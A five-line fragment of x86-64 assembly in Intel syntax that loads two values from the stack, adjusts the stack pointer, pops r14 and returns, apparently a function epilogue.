mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret